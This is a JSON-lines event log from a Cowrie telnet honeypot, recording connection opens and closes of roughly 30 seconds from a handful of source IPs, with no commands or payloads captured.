{"eventid":"cowrie.session.closed","duration":30.580211400985718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:10.081880Z","src_ip":"69.6.225.50","session":"023084deddd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.847264766693115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:10.240039Z","src_ip":"185.15.23.59","session":"e629a82dc4bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":36248,"dst_ip":"159.203.135.109","dst_port":23,"session":"b397fc783458","protocol":"telnet","message":"New connection: 185.15.23.59:36248 (159.203.135.109:23) [session: b397fc783458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:10.311217Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.133.227.168","src_port":34756,"dst_ip":"159.203.135.109","dst_port":23,"session":"7605489ce8da","protocol":"telnet","message":"New connection: 102.133.227.168:34756 (159.203.135.109:23) [session: 7605489ce8da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:10.502855Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":37152,"dst_ip":"159.203.135.109","dst_port":23,"session":"93a4d4c9dc73","protocol":"telnet","message":"New connection: 185.15.23.59:37152 (159.203.135.109:23) [session: 93a4d4c9dc73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:10.624042Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":55668,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4da336f7d52","protocol":"telnet","message":"New connection: 144.79.218.12:55668 (10.17.0.5:23) [session: b4da336f7d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:10.635213Z"}
{"eventid":"cowrie.session.closed","duration":31.18373942375183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:10.654277Z","src_ip":"185.15.23.59","session":"5f2dc668b043","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":37996,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a73d9257203","protocol":"telnet","message":"New connection: 185.15.23.59:37996 (159.203.135.109:23) [session: 3a73d9257203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:10.936378Z"}
{"eventid":"cowrie.session.closed","duration":30.791680574417114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:11.153661Z","src_ip":"185.15.23.59","session":"891132610e84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79874300956726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:11.232971Z","src_ip":"185.15.23.59","session":"be5dc5790fac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.51880145072937,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:11.813759Z","src_ip":"144.79.218.12","session":"b3bdd02293a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":40528,"dst_ip":"159.203.135.109","dst_port":23,"session":"512414e9b07d","protocol":"telnet","message":"New connection: 185.15.23.59:40528 (159.203.135.109:23) [session: 512414e9b07d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:11.914842Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37084,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e07ea592ccb","protocol":"telnet","message":"New connection: 69.6.225.50:37084 (159.203.135.109:23) [session: 9e07ea592ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:11.921880Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":40604,"dst_ip":"159.203.135.109","dst_port":23,"session":"c276eb192a6f","protocol":"telnet","message":"New connection: 185.15.23.59:40604 (159.203.135.109:23) [session: c276eb192a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:11.949341Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":41448,"dst_ip":"159.203.135.109","dst_port":23,"session":"3155dc35b818","protocol":"telnet","message":"New connection: 185.15.23.59:41448 (159.203.135.109:23) [session: 3155dc35b818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:12.317340Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":41470,"dst_ip":"159.203.135.109","dst_port":23,"session":"b35d82df1ed1","protocol":"telnet","message":"New connection: 185.15.23.59:41470 (159.203.135.109:23) [session: b35d82df1ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:12.332947Z"}
{"eventid":"cowrie.session.closed","duration":31.08284282684326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:12.363724Z","src_ip":"185.15.23.59","session":"701ac5db9316","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18020987510681,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:12.550592Z","src_ip":"185.15.23.59","session":"9d5c129075fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":43414,"dst_ip":"159.203.135.109","dst_port":23,"session":"0071ee59400d","protocol":"telnet","message":"New connection: 185.15.23.59:43414 (159.203.135.109:23) [session: 0071ee59400d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:12.979247Z"}
{"eventid":"cowrie.session.closed","duration":30.69862937927246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:13.332383Z","src_ip":"185.15.23.59","session":"b4b23335b40b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840678691864014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:13.341213Z","src_ip":"185.15.23.59","session":"67232f61ef63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":44244,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0ca795d5841","protocol":"telnet","message":"New connection: 185.15.23.59:44244 (159.203.135.109:23) [session: f0ca795d5841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:13.380819Z"}
{"eventid":"cowrie.session.closed","duration":30.942484140396118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:13.389240Z","src_ip":"185.15.23.59","session":"550c3f83fe30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59601140022278,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:13.520052Z","src_ip":"185.15.23.59","session":"a01913762993","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.133.227.168","src_port":35762,"dst_ip":"159.203.135.109","dst_port":23,"session":"96ceee6cdff3","protocol":"telnet","message":"New connection: 102.133.227.168:35762 (159.203.135.109:23) [session: 96ceee6cdff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:13.549262Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.133.227.168","src_port":35788,"dst_ip":"159.203.135.109","dst_port":23,"session":"f43046abf093","protocol":"telnet","message":"New connection: 102.133.227.168:35788 (159.203.135.109:23) [session: f43046abf093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:13.606367Z"}
{"eventid":"cowrie.session.closed","duration":31.511809587478638,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:13.739184Z","src_ip":"102.133.227.168","session":"6837603baf4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.668856143951416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:13.842188Z","src_ip":"69.6.225.50","session":"f75697ec6c74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":45812,"dst_ip":"159.203.135.109","dst_port":23,"session":"65e0f8e42f06","protocol":"telnet","message":"New connection: 185.15.23.59:45812 (159.203.135.109:23) [session: 65e0f8e42f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:13.922493Z"}
{"eventid":"cowrie.session.closed","duration":30.598106384277344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:14.087183Z","src_ip":"69.6.225.50","session":"c61b70326ef1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.026485919952393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:14.186344Z","src_ip":"185.15.23.59","session":"f49abe01ba19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.583512544631958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:14.277383Z","src_ip":"185.15.23.59","session":"09462a26ca62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":47322,"dst_ip":"159.203.135.109","dst_port":23,"session":"8faaa5a71e9f","protocol":"telnet","message":"New connection: 185.15.23.59:47322 (159.203.135.109:23) [session: 8faaa5a71e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:14.634222Z"}
{"eventid":"cowrie.session.closed","duration":31.115447759628296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:14.740255Z","src_ip":"102.133.227.168","session":"f53c736353a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":48050,"dst_ip":"159.203.135.109","dst_port":23,"session":"867244633075","protocol":"telnet","message":"New connection: 185.15.23.59:48050 (159.203.135.109:23) [session: 867244633075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:14.838324Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37094,"dst_ip":"159.203.135.109","dst_port":23,"session":"c43f05b35ab0","protocol":"telnet","message":"New connection: 69.6.225.50:37094 (159.203.135.109:23) [session: c43f05b35ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:15.023285Z"}
{"eventid":"cowrie.session.closed","duration":31.038413286209106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:15.112498Z","src_ip":"69.6.225.50","session":"6696ab74b8a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25080442428589,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:15.289703Z","src_ip":"69.6.225.50","session":"f5e17c6100eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37110,"dst_ip":"159.203.135.109","dst_port":23,"session":"487eea8f7ccd","protocol":"telnet","message":"New connection: 69.6.225.50:37110 (159.203.135.109:23) [session: 487eea8f7ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:15.448963Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":50838,"dst_ip":"159.203.135.109","dst_port":23,"session":"688a87781378","protocol":"telnet","message":"New connection: 185.15.23.59:50838 (159.203.135.109:23) [session: 688a87781378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:16.004257Z"}
{"eventid":"cowrie.session.closed","duration":31.52533769607544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:16.103747Z","src_ip":"102.133.227.168","session":"6f9b370d0026","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.555357217788696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:16.282891Z","src_ip":"185.15.23.59","session":"65ce73097b58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54715394973755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:17.185258Z","src_ip":"185.15.23.59","session":"0822a045596d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":53918,"dst_ip":"159.203.135.109","dst_port":23,"session":"d780dd997285","protocol":"telnet","message":"New connection: 185.15.23.59:53918 (159.203.135.109:23) [session: d780dd997285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:17.236229Z"}
{"eventid":"cowrie.session.closed","duration":30.908541440963745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:17.405659Z","src_ip":"185.15.23.59","session":"6a164c777a1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.962419748306274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:17.515171Z","src_ip":"185.15.23.59","session":"7d306e43dff4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":55196,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ce760964d8f","protocol":"telnet","message":"New connection: 185.15.23.59:55196 (159.203.135.109:23) [session: 4ce760964d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:17.736802Z"}
{"eventid":"cowrie.session.closed","duration":30.941553831100464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:17.841528Z","src_ip":"185.15.23.59","session":"f05235436984","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.712451219558716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:17.949118Z","src_ip":"185.15.23.59","session":"1d92f103aca5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":56186,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a15941678b0","protocol":"telnet","message":"New connection: 185.15.23.59:56186 (159.203.135.109:23) [session: 1a15941678b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:18.025771Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":56824,"dst_ip":"159.203.135.109","dst_port":23,"session":"adf2fa75e220","protocol":"telnet","message":"New connection: 185.15.23.59:56824 (159.203.135.109:23) [session: adf2fa75e220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:18.325622Z"}
{"eventid":"cowrie.session.closed","duration":30.80623483657837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:18.341527Z","src_ip":"185.15.23.59","session":"0c806383e8e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45947003364563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:18.462246Z","src_ip":"185.15.23.59","session":"877185734d47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.899763107299805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:18.616325Z","src_ip":"185.15.23.59","session":"25de201bc264","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":57476,"dst_ip":"159.203.135.109","dst_port":23,"session":"53d485286bf3","protocol":"telnet","message":"New connection: 185.15.23.59:57476 (159.203.135.109:23) [session: 53d485286bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:18.627183Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":57784,"dst_ip":"159.203.135.109","dst_port":23,"session":"93665d302deb","protocol":"telnet","message":"New connection: 185.15.23.59:57784 (159.203.135.109:23) [session: 93665d302deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:18.686043Z"}
{"eventid":"cowrie.session.closed","duration":30.915368795394897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:18.711410Z","src_ip":"185.15.23.59","session":"14353b0dc535","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":59602,"dst_ip":"159.203.135.109","dst_port":23,"session":"246a9eda01e6","protocol":"telnet","message":"New connection: 185.15.23.59:59602 (159.203.135.109:23) [session: 246a9eda01e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:19.377382Z"}
{"eventid":"cowrie.session.closed","duration":30.996445417404175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:19.427139Z","src_ip":"185.15.23.59","session":"bfa71985a1e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":34226,"dst_ip":"10.17.0.5","dst_port":23,"session":"724139ae897c","protocol":"telnet","message":"New connection: 144.79.218.12:34226 (10.17.0.5:23) [session: 724139ae897c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:19.669024Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":60936,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd14dfe4f202","protocol":"telnet","message":"New connection: 185.15.23.59:60936 (159.203.135.109:23) [session: bd14dfe4f202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:19.882530Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":33196,"dst_ip":"159.203.135.109","dst_port":23,"session":"de56bd411c41","protocol":"telnet","message":"New connection: 185.15.23.59:33196 (159.203.135.109:23) [session: de56bd411c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:20.087524Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39760,"dst_ip":"159.203.135.109","dst_port":23,"session":"15e64c1a284d","protocol":"telnet","message":"New connection: 69.6.225.50:39760 (159.203.135.109:23) [session: 15e64c1a284d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:20.098792Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":34230,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca237b7f7600","protocol":"telnet","message":"New connection: 144.79.218.12:34230 (10.17.0.5:23) [session: ca237b7f7600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:20.102226Z"}
{"eventid":"cowrie.session.closed","duration":31.224781036376953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:20.141149Z","src_ip":"69.6.225.50","session":"53cc0504e064","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":35410,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a090a2de09b","protocol":"telnet","message":"New connection: 185.15.23.59:35410 (159.203.135.109:23) [session: 3a090a2de09b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:20.986420Z"}
{"eventid":"cowrie.session.closed","duration":30.977810859680176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:21.129160Z","src_ip":"185.15.23.59","session":"1b1beffd81b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.293315172195435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:21.603502Z","src_ip":"185.15.23.59","session":"1fcc46fc44a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":37590,"dst_ip":"159.203.135.109","dst_port":23,"session":"255cbc9422b3","protocol":"telnet","message":"New connection: 185.15.23.59:37590 (159.203.135.109:23) [session: 255cbc9422b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:21.874490Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":38040,"dst_ip":"159.203.135.109","dst_port":23,"session":"23aee8a97ebb","protocol":"telnet","message":"New connection: 185.15.23.59:38040 (159.203.135.109:23) [session: 23aee8a97ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:22.019699Z"}
{"eventid":"cowrie.session.closed","duration":34.106345653533936,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:22.058674Z","src_ip":"144.79.218.12","session":"d7ececd61abc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":38164,"dst_ip":"159.203.135.109","dst_port":23,"session":"cebe73e9b998","protocol":"telnet","message":"New connection: 185.15.23.59:38164 (159.203.135.109:23) [session: cebe73e9b998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:22.090965Z"}
{"eventid":"cowrie.session.closed","duration":33.890780448913574,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:22.211544Z","src_ip":"144.79.218.12","session":"bb06acf3b6db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":38878,"dst_ip":"159.203.135.109","dst_port":23,"session":"da6ea1281a32","protocol":"telnet","message":"New connection: 185.15.23.59:38878 (159.203.135.109:23) [session: da6ea1281a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:22.466437Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":39274,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d56e41e2af2","protocol":"telnet","message":"New connection: 185.15.23.59:39274 (159.203.135.109:23) [session: 9d56e41e2af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:22.662206Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":39640,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d0800ea11ae","protocol":"telnet","message":"New connection: 185.15.23.59:39640 (159.203.135.109:23) [session: 2d0800ea11ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:22.743956Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":34232,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5c7e375bd9d","protocol":"telnet","message":"New connection: 144.79.218.12:34232 (10.17.0.5:23) [session: a5c7e375bd9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:22.902712Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":40144,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d76f067cdeb","protocol":"telnet","message":"New connection: 185.15.23.59:40144 (159.203.135.109:23) [session: 0d76f067cdeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:22.952034Z"}
{"eventid":"cowrie.session.closed","duration":30.457772970199585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:23.230287Z","src_ip":"185.15.23.59","session":"46a4af5c16a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":34248,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ec715ce24e0","protocol":"telnet","message":"New connection: 144.79.218.12:34248 (10.17.0.5:23) [session: 9ec715ce24e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:23.783825Z"}
{"eventid":"cowrie.session.closed","duration":30.97993803024292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:24.481763Z","src_ip":"185.15.23.59","session":"f8c71751a3c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.75477957725525,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:24.487557Z","src_ip":"144.79.218.12","session":"f294d7a523c1","protocol":"telnet"}
